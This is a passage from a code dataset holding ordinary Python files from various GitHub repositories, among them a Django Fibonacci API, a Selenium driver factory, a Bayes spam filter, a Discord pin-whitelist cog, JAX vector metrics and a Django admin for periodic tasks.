\r\n","repo_name":"Nakuttaja/python3scifi","sub_path":"analyze_data.py","file_name":"analyze_data.py","file_ext":"py","file_size_in_byte":3569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"25481530217","text":"from rest_framework import status\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom fibonacci import calculator\n\n\n@api_view(['GET'])\ndef fibonacci_request(request):\n\n from_data = None\n try:\n from_data = request.query_params['from']\n except KeyError:\n return Response({\"error\": \"From field is required\"}, status=status.HTTP_400_BAD_REQUEST)\n\n to_data = None\n try:\n to_data = request.query_params['to']\n except KeyError:\n return Response({\"error\": \"To field is required\"}, status=status.HTTP_400_BAD_REQUEST)\n\n fro = 0\n to = 0\n\n try:\n fro = int(from_data)\n except ValueError:\n return Response({\"error\": \"From field must be a number\"}, status=status.HTTP_400_BAD_REQUEST)\n\n try:\n to = int(to_data)\n except ValueError:\n return Response({\"error\": \"To field must be a number\"}, status=status.HTTP_400_BAD_REQUEST)\n\n if fro < 0 or to < 0:\n return Response({\"error\": \"From and to must be non-negative\"}, status=status.HTTP_400_BAD_REQUEST)\n\n if fro > to:\n return Response({\"error\": \"From value must be less or equal than to value\"}, status=status.HTTP_400_BAD_REQUEST)\n\n return Response({\"response\": calculator.calculate_fibonacci(fro, to)})\n","repo_name":"nosov-pvl/django_test_task","sub_path":"fibonacci/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"12176287188","text":"from webdriver_manager.chrome import ChromeDriverManager\nfrom webdriver_manager.firefox import GeckoDriverManager\nfrom selenium import webdriver\n\n\nclass WebDriverFactory():\n\n # def __init__(self, browser):\n # self.browser = browser\n\n def getWebDriverInstance(self,browser,url):\n\n if browser == \"firefox\":\n # driver = webdriver.Firefox(GeckoDriverManager().install())\n driver = webdriver.Firefox(executable_path=\"drivers/geckodriver\")\n\n\n elif browser == \"chrome\":\n driver = webdriver.Chrome(ChromeDriverManager().install())\n\n else:\n driver = webdriver.Chrome(ChromeDriverManager().install())\n\n # setting driver implicit time out for an element\n driver.implicitly_wait(3)\n # Maximize the window\n driver.delete_all_cookies()\n driver.maximize_window()\n # Loading browser with App URL\n driver.get(url)\n return driver\n","repo_name":"NamrathaKRao/OrbitzFlightSearchUIAutomation","sub_path":"base/webdriverFactory.py","file_name":"webdriverFactory.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"38392209427","text":"#!/usr/bin/env python\n\nimport argparse\nimport logging\nimport os\nimport sys\nimport pprint\n\nHERE = os.path.dirname(__file__)\n__doc__ = open(os.path.join(HERE, 'argparse_example.md')).read()\n\nlogging.getLogger().setLevel(logging.INFO)\n\n\ndef main():\n parser = argparse.ArgumentParser(\n prog=os.path.basename(__file__),\n formatter_class=argparse.RawDescriptionHelpFormatter,\n description=__doc__\n )\n parser.add_argument(\n '-d', '--debug',\n action='store_true',\n help='turn on debug-level logging',\n )\n opts = parser.parse_args(sys.argv[1:])\n if opts.debug:\n logging.getLogger().setLevel(logging.DEBUG)\n pprint.pprint(opts.__dict__)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"wware/python-hacks","sub_path":"argpase_hacks/argparse_example.py","file_name":"argparse_example.py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"34187508176","text":"print('Введите 3 числа')\ni=1\nwhile i<=3:\n a=int(input())\n if i==2:\n b=a\n if i==3:\n c=a\n i=i+1\nif a>b and a>c:\n print(a)\nelif b>c:\n print(b)\nelse:\n print(c)\n","repo_name":"egorov-oleg/hello-world","sub_path":"task07-b.py","file_name":"task07-b.py","file_ext":"py","file_size_in_byte":203,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"36817069258","text":"import xml.etree.ElementTree as et\r\nfrom datetime import datetime\r\nimport json\r\ntry:\r\n from AtmlReader.AtmlOutcome import AtmlOutcome\r\n from AtmlReader.AtmlStepProperties import AtmlStepProperties\r\n from AtmlReader.AtmlTestStepParameter import AtmlTestStepParameter\r\n from AtmlReader.AtmlTestStepResult import AtmlTestStepResult\r\nexcept:\r\n from AtmlOutcome import AtmlOutcome\r\n from AtmlStepProperties import AtmlStepProperties\r\n from AtmlTestStepParameter import AtmlTestStepParameter\r\n from AtmlTestStepResult import AtmlTestStepResult\r\n\r\nclass AtmlTestStep(object):\r\n def __init__(self, test_step_node: et.Element, namespace_dict):\r\n self.name = test_step_node.attrib[\"name\"]\r\n self.id = test_step_node.attrib[\"ID\"]\r\n self.start_date_time = datetime.fromisoformat(test_step_node.attrib[\"startDateTime\"])\r\n self.end_date_time = datetime.fromisoformat(test_step_node.attrib[\"endDateTime\"])\r\n try:\r\n self.test_reference_id = test_step_node.attrib[\"testReferenceID\"]\r\n except:\r\n self.test_reference_id = \"\"\r\n self.step_properties = AtmlStepProperties(test_step_node, namespace_dict)\r\n self.outcome = AtmlOutcome(test_step_node, namespace_dict)\r\n self.inputs = []\r\n self.outputs = []\r\n self.measurements = []\r\n if test_step_node.find(\"tr:Parameters\", namespace_dict):\r\n for _index, parameter_node in enumerate(test_step_node.findall(\"tr:Parameters/tr:Parameter\", namespace_dict)):\r\n self.inputs.append(AtmlTestStepParameter(parameter_node, namespace_dict))\r\n if test_step_node.find(\"tr:TestResult\", namespace_dict):\r\n for _index, test_step_result_node in enumerate(test_step_node.findall(\"tr:TestResult\", namespace_dict)):\r\n step_result = AtmlTestStepResult(test_step_result_node, namespace_dict)\r\n if step_result.upper_limit != None or step_result.lower_limit != None:\r\n self.measurements.append(step_result)\r\n else:\r\n self.outputs.append(step_result)\r\n def to_json(self):\r\n name_json = json.dumps(self.name)\r\n return f'{{ \"name\": {name_json}, '\\\r\n f'\"id\": {json.dumps(self.id)}, '\\\r\n f'\"startDateTime\": {json.dumps(self.start_date_time.isoformat())}, '\\\r\n f'\"endDateTime\": {json.dumps(self.end_date_time.isoformat())}, '\\\r\n f'\"testReferenceID\": {json.dumps(self.test_reference_id)}, '\\\r\n f'\"properties\": {self.step_properties.to_json()}, '\\\r\n f'\"outcome\": {self.outcome.to_json()}, '\\\r\n f'\"inputs\": [{\",\".join([step_input.to_json() for step_input in self.inputs])}], '\\\r\n f'\"outputs\": [{\",\".join([step_output.to_json() for step_output in self.outputs])}], '\\\r\n f'\"measurements\": [{\",\".join([measurement.to_json() for measurement in self.measurements])}] }}'\r\n\r\n def __repr__(self):\r\n return self.to_json()\r\n","repo_name":"ghas-results/systemlink-testmodule-atml-uploader","sub_path":"AtmlReader/AtmlTestStep.py","file_name":"AtmlTestStep.py","file_ext":"py","file_size_in_byte":2993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"82"} +{"seq_id":"33762606445","text":"import json\nfrom typing import TYPE_CHECKING\n\nfrom aiohttp.web import Response, get\n\nfrom . import Controller\n\nif TYPE_CHECKING:\n from .. import Web\n\n\nclass Devices(Controller):\n def __init__(self, web: 'Web'):\n super().__init__(web)\n web.add_route(get('/devices', self.index))\n\n async def index(self, _):\n devices = []\n for device in self.web.engine.broker.registered_devices:\n devices.append({\n 'id': device.ref(),\n 'type': device.__class__.__name__\n })\n return Response(text=json.dumps(devices))\n","repo_name":"cuooiot/Thingwork","sub_path":"cuoo/thingy/web/controllers/devices.py","file_name":"devices.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"26733437302","text":"import csv\nimport itertools\nimport urllib\n\nwith open('urls.txt') as ingest_file:\n with open('automl_labels.csv', 'w') as output_file:\n writer = csv.writer(output_file)\n # writer.writerow(('url', 'labels'))\n\n # print(ingest_file)\n for url in ingest_file:\n line = url.rstrip('\\n')\n # url = str(url)\n # print(url)\n # print(url.split('/')[-2])\n output = [line, str(url.split('/')[-2])]\n print(output)\n writer.writerow(output)\n\n #stripped = (line.strip() for line in ingest_file)\n #lines = (line for line in stripped if line)\n #igrouped = itertools.izip(*[lines] * 3)\n\n # urls = ingest_file.readlines()\n\n # for url in urls:\n # line = urllib.request.urlopen(url).read()\n # print str(line)\n # print(line.split('/'))\n","repo_name":"marcusguttenplan/creative-tech-toolkit","sub_path":"snippets/csv/gs_to_csv.py","file_name":"gs_to_csv.py","file_ext":"py","file_size_in_byte":853,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"5978016006","text":"#Spam Filter\n#BELEN, Alarcon Ace H.\n#2018-04736\n\nfrom collections import Counter\nfrom math import log\nfrom email import message_from_string\n\nalpha_string = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'\n\ncount_spam = 0\ncount_ham = 0\ncount_all = 0\n\nemail_type = []\nfile_path = []\ntop_5k_words = []\ntrainer_wordlist = []\nspam_words = []\nham_words = []\nemail_type_plus_path = []\ncoined_type_path = []\n\nspamcoin_flow = {}\nhamcoin_flow = {}\nspamcoin_ebb = {}\nhamcoin_ebb = {}\n#None\ndef labelEmail():\n '''\n Reads the file labels and updates two lists; the classification of the individual emails and their file directory\n '''\n some_counter = 0\n fh = open('trec06p-eee111/labels', 'r')\n \n for line in fh:\n (e_type, f_path) = line.split()\n email_type.append(e_type)\n file_path.append(f_path.strip('..'))\n if some_counter >= 21300:\n email_type_plus_path.append((f_path.strip('..'), e_type))\n some_counter += 1\n else:\n some_counter += 1\n\n fh.close()\n\ndef isbeta(word):\n '''\n Checks whether the input is a word; similar to how isalpha() functions except that it only considers Romanized characters\n '''\n if word == \"\":\n return False\n for letter in word:\n if letter in alpha_string:\n continue\n else:\n return False\n return True\n\ndef listWords_A(file_directory):\n '''\n Returns a list of unique words found in an email and appends a list to a backup list to access it later.\n '''\n fh = open(file_directory, 'r', encoding = 'utf-8', errors = 'ignore')\n email_words = []\n unique_email_words = []\n body = []\n\n i = fh.read()\n pseudobody = message_from_string(i)\n if pseudobody.is_multipart():\n for part in pseudobody.get_payload():\n if part.is_multipart():\n for another_part in part.get_payload():\n body.append(another_part.get_payload())\n else:\n body.append(part.get_payload())\n else:\n body.append(pseudobody.get_payload())\n\n for string in body:\n for word in str(string).split():\n if isbeta(word) == True:\n email_words.append(word.lower())\n elif isbeta(word[:-1]) == True:\n email_words.append(word[:-1].lower())\n else:\n continue\n\n fh.close()\n unique_email_words = list(set(email_words))\n trainer_wordlist.append(unique_email_words)\n \n return unique_email_words\n\ndef listWords_B(file_directory):\n '''\n Appends a list of unique words found in an email to a backup list to access it later.\n '''\n fh = open(file_directory, 'r', encoding = 'utf-8', errors = 'ignore')\n email_words = []\n unique_email_words = []\n body = []\n\n i = fh.read()\n pseudobody = message_from_string(i)\n if pseudobody.is_multipart():\n for part in pseudobody.get_payload():\n if part.is_multipart():\n for another_part in part.get_payload():\n body.append(another_part.get_payload())\n else:\n body.append(part.get_payload())\n else:\n body.append(pseudobody.get_payload())\n\n for string in body:\n for word in str(string).split():\n if isbeta(word) == True:\n email_words.append(word.lower())\n elif isbeta(word[:-1]) == True:\n email_words.append(word[:-1].lower())\n else:\n continue\n\n fh.close()\n unique_email_words = list(set(email_words))\n trainer_wordlist.append(unique_email_words)\n\ndef readandcount_train():\n '''\n Reads all the files from the trainer set and lists the words found on a list depending on their classification.\n Simultaneously, counts the number of emails inside the set based on their classification\n '''\n global count_all\n global count_spam\n global count_ham\n\n for i in range(0, 21300):\n file_directory = 'trec06p-eee111' + file_path[i]\n if email_type[i] == 'spam':\n spam_words.extend(listWords_A(file_directory))\n count_all += 1\n count_spam += 1\n else:\n ham_words.extend(listWords_A(file_directory))\n count_all += 1\n count_ham += 1\n\ndef readandcount_test():\n '''\n Reads all the files from the test set\n '''\n\n for i in range(21300, 37822):\n file_directory = 'trec06p-eee111' + file_path[i]\n listWords_B(file_directory)\n\ndef fivek():\n '''\n Writes the 5000 most common words found on the trainer set in a file, including their occurrences on spam emails, occurrences on ham emails and the total number of occurences\n '''\n global top_5k_words\n top_5k_words = [(k,v) for k,v in dict(Counter(sorted(ham_words + spam_words)).most_common(5000)).items()]\n counter_spam = dict(Counter(spam_words).most_common())\n counter_ham = dict(Counter(ham_words).most_common())\n\n for n in range(len(top_5k_words)):\n top_5k_words[n] = top_5k_words[n] + (counter_spam.get(top_5k_words[n][0], 0),)\n top_5k_words[n] = top_5k_words[n] + (counter_ham.get(top_5k_words[n][0], 0),)\n\n fh = open('trainer_top_5k_words.txt', 'w')\n fh.write('\\n'.join('%s %s %s %s' % word for word in top_5k_words))\n fh.close()\n\ndef coin(Lambda):\n '''\n Calculates the probability that a word exists on an email given the email's classification using Lambda Smoothing\n '''\n global count_spam\n global count_ham\n\n fh = open('trainer_top_5k_words.txt', 'r')\n\n for line in fh:\n (word, all_occurrences, spam_occurrences, ham_occurrences) = line.split()\n spamcoin_flow[word] = float((int(spam_occurrences) + Lambda)/(count_spam + 5000*Lambda))\n hamcoin_flow[word] = float((int(ham_occurrences) + Lambda)/(count_ham + 5000*Lambda))\n spamcoin_ebb[word] = float(1 - (int(spam_occurrences) + Lambda)/(count_spam + 5000*Lambda))\n hamcoin_ebb[word] = float(1 - (int(ham_occurrences) + Lambda)/(count_ham + 5000*Lambda))\n\ndef spamorham():\n '''\n Determines whether an email is spam or ham based on the probability derived using Bayes' Theorem; returns the program's count of spam and ham emails for debugging purposes \n '''\n global count_all\n global count_spam\n global count_ham\n my_spam_count = 0\n my_ham_count = 0\n\n for i in range(21300, 37822):\n probability_spam = log(count_spam/count_all)\n probability_ham = log(count_ham/count_all)\n for word in top_5k_words:\n if word[0] in trainer_wordlist[i]:\n probability_spam += log(spamcoin_flow[word[0]])\n probability_ham += log(hamcoin_flow[word[0]])\n else:\n probability_spam += log(spamcoin_ebb[word[0]])\n probability_ham += log(hamcoin_ebb[word[0]])\n if probability_spam > probability_ham:\n coined_type_path.append((file_path[i], 'spam'))\n my_spam_count += 1\n else:\n coined_type_path.append((file_path[i], 'ham'))\n my_ham_count += 1\n return (my_spam_count, my_ham_count)\n\ndef darts():\n '''\n Computes for the accuracy and precision\n '''\n FP = 0\n FN = 0\n TP = 0\n TN = 0\n precision = 0\n recall = 0\n j = sorted(email_type_plus_path)\n k = sorted(coined_type_path)\n\n for i in range(len(email_type_plus_path)):\n if email_type_plus_path[i][1] == 'spam' and coined_type_path[i][1] == 'spam':\n TP += 1\n elif email_type_plus_path[i][1] == 'spam' and coined_type_path[i][1] == 'ham':\n FN += 1\n elif email_type_plus_path[i][1] == 'ham' and coined_type_path[i][1] == 'spam':\n FP += 1\n else:\n TN += 1\n\n precision = TP/(TP+FP)\n recall = TP/(TP+FN)\n\n return (precision, recall)\n\n#This is the main function\nlabelEmail()\nprint ('read labels done')\n\nreadandcount_train()\nprint ('read trainer set done')\n\nreadandcount_test()\nprint ('read test set done')\n\nfivek()\nprint ('write most common words done')\n\nLambda = 1\ncoin(Lambda)\nprint ('calculate probability done')\n\nspamorham()\nprint ('email classification done')\n\n(precision, recall) = darts()\n\nprint ('Lambda: ', Lambda)\nprint ('Precision:', precision)\nprint ('Recall:', recall)\nprint ('')\n\nLambda = 0.05\ncoined_type_path = []\ncoin(Lambda)\nprint ('calculate probability done')\n\nspamorham()\nprint ('email classification done')\n\n(precision, recall) = darts()\n\nprint ('Lambda: ', Lambda)\nprint ('Precision:', precision)\nprint ('Recall:', recall)\nprint ('')\n\nLambda = 0.1\ncoined_type_path = []\ncoin(Lambda)\nprint ('calculate probability done')\n\nspamorham()\nprint ('email classification done')\n\n(precision, recall) = darts()\n\nprint ('Lambda: ', Lambda)\nprint ('Precision:', precision)\nprint ('Recall:', recall)\nprint ('')\n\nLambda = 0.5\ncoined_type_path = []\ncoin(Lambda)\nprint ('calculate probability done')\n\nspamorham()\nprint ('email classification done')\n\n(precision, recall) = darts()\n\nprint ('Lambda: ', Lambda)\nprint ('Precision:', precision)\nprint ('Recall:', recall)\nprint ('')\n\nLambda = 2.0\ncoined_type_path = []\ncoin(Lambda)\nprint ('calculate probability done')\n\nspamorham()\nprint ('email classification done')\n\n(precision, recall) = darts()\n\nprint ('Lambda: ', Lambda)\nprint ('Precision:', precision)\nprint ('Recall:', recall)\nprint ('')","repo_name":"blueaxis/mea","sub_path":"MPs/spam-filter/spam_filter.py","file_name":"spam_filter.py","file_ext":"py","file_size_in_byte":9359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"17705560669","text":"#===========================\n#IMPORTS\n#===========================\n\nimport tkinter as tk\nfrom tkinter import Grid, ttk\nfrom typing import Text\n\ndef click_me():\n action.configure(text='Hello '+ name.get())\n\n\n\nwin = tk.Tk()\n\nwin.title('Python GUI')\n\naction = ttk.Button(win, text = 'Click Me!', command=click_me)\naction.grid(column=1, row=0)\n\na_label = ttk.Label(win, text='A Label')\na_label.grid(column=0, row=0)\n\nname = tk.StringVar()\nname_entered = ttk.Entry(win, width=12, textvariable=name)\nname_entered.grid(column=0, row=1)\n#win.resizable(False,False)\n\nwin.mainloop()","repo_name":"float-bot/Workspace-1","sub_path":"Tkinter_work_through/GUI_textbox_widget.py","file_name":"GUI_textbox_widget.py","file_ext":"py","file_size_in_byte":575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"40274305583","text":"import discord\r\nfrom discord.ext import commands\r\nfrom tinydb import TinyDB, where\r\n\r\nfrom bot import RustBot\r\n\r\n\r\ndef MessageID(argument):\r\n try:\r\n return int(argument, base=10)\r\n except ValueError:\r\n raise commands.ConversionError(\r\n f'\"{argument}\" is not a valid message ID. Use Developer Mode to get the Copy ID option.'\r\n )\r\n\r\n\r\ndef is_in_pin_whitelist(ctx: commands.Context):\r\n if ctx.guild is None:\r\n return False\r\n\r\n cog = ctx.bot.get_cog(\"Pins\")\r\n\r\n member_is_in_whitelist = cog.db.search(\r\n (where(\"channel_id\") == ctx.channel.id) & (where(\"member_id\") == ctx.author.id)\r\n )\r\n\r\n if not member_is_in_whitelist:\r\n raise commands.CheckFailure(\r\n \"\\N{WARNING SIGN} You're not in the pin whitelist of this channel.\"\r\n )\r\n\r\n return True\r\n\r\n\r\nclass Pins(commands.Cog):\r\n \"\"\"Commands that allows people that aren't mods to pin message on specified channels.\"\"\"\r\n\r\n def __init__(self, bot: RustBot):\r\n self.bot = bot\r\n self.db = TinyDB(self.bot.config[\"databases\"][\"pins\"])\r\n\r\n @commands.group(name=\"pins\")\r\n @commands.guild_only()\r\n async def _pins(self, ctx):\r\n \"\"\"Pin whitelist related commands.\"\"\"\r\n await ctx.send(\"Type `?help Pins` for more help.\")\r\n\r\n @_pins.group(name=\"whitelist\", invoke_without_command=True)\r\n async def _pins_whitelist(self, ctx):\r\n \"\"\"Shows a list of the current pin whitelist of this channel.\"\"\"\r\n whitelist = self.db.search(where(\"channel_id\") == ctx.channel.id)\r\n\r\n if not whitelist:\r\n return await ctx.send(\r\n \"It appears that this channel's pin whitelist is empty!\"\r\n )\r\n\r\n pin_whitelist = []\r\n for row in whitelist:\r\n member = ctx.guild.get_member(row[\"member_id\"])\r\n if member:\r\n pin_whitelist.append(str(member))\r\n pin_whitelist = \"\\n\".join(pin_whitelist)\r\n\r\n await ctx.send(f\"People who can pin messages in this channel:\\n{pin_whitelist}\")\r\n\r\n @_pins_whitelist.command(name=\"add\")\r\n @commands.has_role(\"Mod\")\r\n async def pin_whitelist_add(self, ctx, member: discord.Member):\r\n \"\"\"Adds a person to the pin whitelist of the current channel.\"\"\"\r\n self.db.insert(\r\n {\"channel_id\": ctx.channel.id, \"member_id\": member.id,}\r\n )\r\n await ctx.message.add_reaction(self.bot.emoji.ok)\r\n\r\n @_pins_whitelist.command(name=\"remove\", aliases=[\"del\", \"delete\", \"rm\"])\r\n @commands.has_role(\"Mod\")\r\n async def pin_whitelist_remove(self, ctx, member: discord.Member):\r\n \"\"\"Removes a person from the pin whitelist of the current channel.\"\"\"\r\n self.db.remove(\r\n (where(\"channel_id\") == ctx.channel.id) & (where(\"member_id\") == member.id)\r\n )\r\n await ctx.message.add_reaction(self.bot.emoji.ok)\r\n\r\n @commands.command()\r\n @commands.check(is_in_pin_whitelist)\r\n async def pin(self, ctx: commands.Context, message_id: MessageID):\r\n \"\"\"Pins a message via message ID.\r\n To pin a message you should right click on the on a message and then\r\n click \"Copy ID\". You must have Developer Mode enabled to get that\r\n functionality.\r\n \"\"\"\r\n message = await ctx.channel.fetch_message(message_id)\r\n await message.pin()\r\n\r\n @commands.command()\r\n @commands.check(is_in_pin_whitelist)\r\n async def unpin(self, ctx: commands.Context, message_id: MessageID):\r\n \"\"\"Unpins a message via message ID.\r\n To unpin a message you should right click on the on a message and then\r\n click \"Copy ID\". You must have Developer Mode enabled to get that\r\n functionality.\r\n \"\"\"\r\n message = await ctx.channel.fetch_message(message_id)\r\n await message.unpin()\r\n await ctx.message.add_reaction(self.bot.emoji.ok)\r\n\r\n async def cog_command_error(self, ctx: commands.Context, error):\r\n await ctx.message.clear_reactions()\r\n await ctx.message.add_reaction(\"❌\")\r\n\r\n\r\ndef setup(bot):\r\n bot.add_cog(Pins(bot))\r\n","repo_name":"mental32/RustbotPython","sub_path":"bot/cogs/pins.py","file_name":"pins.py","file_ext":"py","file_size_in_byte":4087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"82"} +{"seq_id":"72407063948","text":"\"\"\"\nThis module contains implementations of various metrics for comparing vectors.\n\"\"\"\n\nfrom functools import partial\n\nimport jax\nimport jax.numpy as jnp\nfrom jax import Array, lax\nfrom jax.typing import ArrayLike\nfrom public import public\n\n\n@public\n@partial(jax.jit, inline=True)\ndef mismatches(u: ArrayLike, v: ArrayLike) -> Array:\n \"\"\"\n Computes the L0-norm distance between two vectors.\n\n Examples:\n >>> mismatches([1, 2, 3], [1, 2, 3])\n Array(0., dtype=float32)\n\n >>> mismatches([1, 2, 3], [1, 2, -3])\n Array(1., dtype=float32)\n\n >>> mismatches([1, 2, 3], [4, 5, 6])\n Array(3., dtype=float32)\n \"\"\"\n u = jnp.asarray(u)\n v = jnp.asarray(v)\n return jnp.sum(u != v).astype(float)\n\n\n@public\n@partial(jax.jit, inline=True)\ndef manhattan(u: ArrayLike, v: ArrayLike) -> Array:\n \"\"\"\n Computes the Manhattan distance between two vectors.\n\n Examples:\n >>> manhattan([1, 2, 3], [1, 2, 3])\n Array(0., dtype=float32)\n\n >>> manhattan([1, 2, 3], [1, 2, 4])\n Array(1., dtype=float32)\n\n >>> manhattan([1, 2, 3], [4, 5, 6])\n Array(9., dtype=float32)\n \"\"\"\n u = jnp.asarray(u)\n v = jnp.asarray(v)\n return jnp.sum(jnp.abs(u - v)).astype(float)\n\n\n@public\n@partial(jax.jit, inline=True)\ndef euclidean(u: ArrayLike, v: ArrayLike) -> Array:\n \"\"\"\n Computes the Euclidean distance (L2-norm) $||x - y||_2$ between two vectors.\n\n Examples:\n >>> euclidean([1, 2, 3], [1, 2, 3])\n Array(0., dtype=float32)\n\n >>> euclidean([1, 2, 3], [1, 2, 4])\n Array(1., dtype=float32)\n\n >>> euclidean([1, 2, 3], [4, 5, 6])\n Array(5.196152, dtype=float32)\n \"\"\"\n u = jnp.asarray(u)\n v = jnp.asarray(v)\n return jnp.linalg.norm(u - v)\n\n\n@public\n@partial(jax.jit, inline=True)\ndef cosine(u: ArrayLike, v: ArrayLike) -> Array:\n r\"\"\"\n Computes the cosine similarity between two vectors:\n $$ \\cos \\widehat{\\bf u, \\bf v} = \\dfrac{\\bf u \\cdot \\bf v}{\\norm{\\bf u} \\cdot \\norm{\\bf v}}, $$\n this formula follows from the dot product expression:\n $$ \\bf u \\cdot \\bf v = \\norm{\\bf u} \\cdot \\norm{\\bf v} \\cdot \\cos \\widehat{\\bf u, \\bf v}. $$\n\n Examples:\n >>> cosine([1, 0], [1, 0])\n Array(1., dtype=float32)\n\n >>> cosine([1, 0], [0, 1])\n Array(0., dtype=float32)\n\n >>> cosine([1, 0], [-1, 0])\n Array(-1., dtype=float32)\n \"\"\"\n u = jnp.asarray(u)\n v = jnp.asarray(v)\n return jnp.dot(u, v) / (jnp.linalg.norm(u) * jnp.linalg.norm(v))\n\n\n@public\n@partial(jax.jit, inline=True)\ndef negative_cosine(u: ArrayLike, v: ArrayLike) -> Array:\n \"\"\"\n Computes the cosine distance between two vectors.\n\n Examples:\n >>> negative_cosine([1, 0], [1, 0])\n Array(-1., dtype=float32)\n\n >>> negative_cosine([1, 0], [0, 1])\n Array(-0., dtype=float32)\n\n >>> negative_cosine([1, 0], [-1, 0])\n Array(1., dtype=float32)\n \"\"\"\n return -cosine(u, v)\n\n\n@public\n@partial(jax.jit, inline=True)\ndef tanimoto(u: ArrayLike, v: ArrayLike) -> Array:\n \"\"\"\n Computes the Tanimoto coefficient between two vectors.\n\n Examples:\n >>> tanimoto([1, 1], [1, 0])\n Array(0.5, dtype=float32)\n\n >>> tanimoto([1, 1], [0, 0])\n Array(0., dtype=float32)\n \"\"\"\n u = jnp.asarray(u)\n v = jnp.asarray(v)\n\n bitwise_or = jnp.bitwise_or(u, v).sum().astype(float)\n bitwise_and = jnp.bitwise_and(u, v).sum().astype(float)\n\n # Check for the case where both vectors are all zeros and return 0.0 in that case\n\n return lax.cond(\n bitwise_or == 0.0,\n lambda: 0.0,\n lambda: bitwise_and / bitwise_or,\n )\n\n\n@public\n@partial(jax.jit, inline=True)\ndef one_minus_tanimoto(u: ArrayLike, v: ArrayLike) -> Array:\n \"\"\"\n Computes the Tanimoto distance between two vectors.\n\n Examples:\n >>> one_minus_tanimoto([1, 1], [1, 0])\n Array(0.5, dtype=float32)\n\n >>> one_minus_tanimoto([1, 1], [0, 0])\n Array(1., dtype=float32)\n \"\"\"\n return 1.0 - tanimoto(u, v)\n","repo_name":"vsheg/moll","sub_path":"moll/metrics/_metrics.py","file_name":"_metrics.py","file_ext":"py","file_size_in_byte":4055,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"20237867488","text":"import string\nfrom datetime import datetime, timedelta\nfrom random import choice\n\nimport pytz\nfrom constance.admin import Config, ConstanceAdmin, ConstanceForm\nfrom django.contrib import admin\nfrom django.contrib.auth.admin import GroupAdmin as BaseGroupAdmin\nfrom django.contrib.auth.admin import UserAdmin as BaseUserAdmin\nfrom django.contrib.auth.models import Group, User\nfrom django.contrib.humanize.templatetags.humanize import naturaltime\n\n# overwrites for period tasks, allowing import and export buttons to work.\nfrom django.utils.safestring import mark_safe\nfrom django_celery_beat.admin import PeriodicTaskAdmin, PeriodicTaskForm\nfrom django_celery_beat.models import CrontabSchedule, IntervalSchedule, PeriodicTask, SolarSchedule\nfrom import_export import resources\nfrom import_export.admin import ImportExportModelAdmin\n\nfrom websecmap.app.models import GameUser, Job, Volunteer\n\n\nclass JobAdmin(ImportExportModelAdmin, admin.ModelAdmin):\n list_display = (\"name\", \"result_id\", \"status\", \"created_by\", \"created_on\", \"finished_on\")\n list_filter = (\"status\", \"created_by\")\n readonly_fields = (\"name\", \"task\", \"result_id\", \"result\", \"status\", \"created_on\", \"finished_on\")\n\n\nadmin.site.register(Job, JobAdmin)\n\n\nclass MyPeriodicTaskForm(PeriodicTaskForm):\n\n fieldsets = PeriodicTaskAdmin.fieldsets\n\n \"\"\"\n Interval schedule does not support due_ or something. Which is absolutely terrible and vague.\n I can't understand why there is not an is_due() for each type of schedule. This makes it very hazy\n when something will run.\n\n Because of this, we'll move to the horrifically designed absolute nightmare format Crontab.\n Crontab would be half-great if the parameters where named.\n\n Get your crontab guru going, this is the only way you'll understand what you're doing.\n https://crontab.guru/#0_21_*_*_*\n \"\"\"\n\n def clean(self):\n\n cleaned_data = super(PeriodicTaskForm, self).clean()\n\n # if not self.cleaned_data['last_run_at']:\n # self.cleaned_data['last_run_at'] = datetime.now(pytz.utc)\n\n return cleaned_data\n\n\nclass IEPeriodicTaskAdmin(PeriodicTaskAdmin, ImportExportModelAdmin):\n # most / all time schedule functions in celery beat are moot. So the code below likely makes no sense.\n\n list_display = (\n \"name_safe\",\n \"enabled\",\n \"interval\",\n \"crontab\",\n \"next\",\n \"due\",\n \"precise\",\n \"last_run_at\",\n \"queue\",\n \"task\",\n \"args\",\n \"last_run\",\n \"runs\",\n )\n\n list_filter = (\"enabled\", \"queue\", \"crontab\")\n\n search_fields = (\"name\", \"queue\", \"args\")\n\n form = MyPeriodicTaskForm\n\n save_as = True\n\n @staticmethod\n def name_safe(obj):\n return mark_safe(obj.name)\n\n @staticmethod\n def last_run(obj):\n return obj.last_run_at\n\n @staticmethod\n def runs(obj):\n # print(dir(obj))\n return obj.total_run_count\n\n @staticmethod\n def due(obj):\n if obj.last_run_at:\n return obj.schedule.remaining_estimate(last_run_at=obj.last_run_at)\n else:\n # y in seconds\n z, y = obj.schedule.is_due(last_run_at=datetime.now(pytz.utc))\n date = datetime.now(pytz.utc) + timedelta(seconds=y)\n\n return naturaltime(date)\n\n @staticmethod\n def precise(obj):\n if obj.last_run_at:\n return obj.schedule.remaining_estimate(last_run_at=obj.last_run_at)\n else:\n return obj.schedule.remaining_estimate(last_run_at=datetime.now(pytz.utc))\n\n @staticmethod\n def next(obj):\n if obj.last_run_at:\n return obj.schedule.remaining_estimate(last_run_at=obj.last_run_at)\n else:\n # y in seconds\n z, y = obj.schedule.is_due(last_run_at=datetime.now(pytz.utc))\n # somehow the cron jobs still give the correct countdown even last_run_at is not set.\n\n date 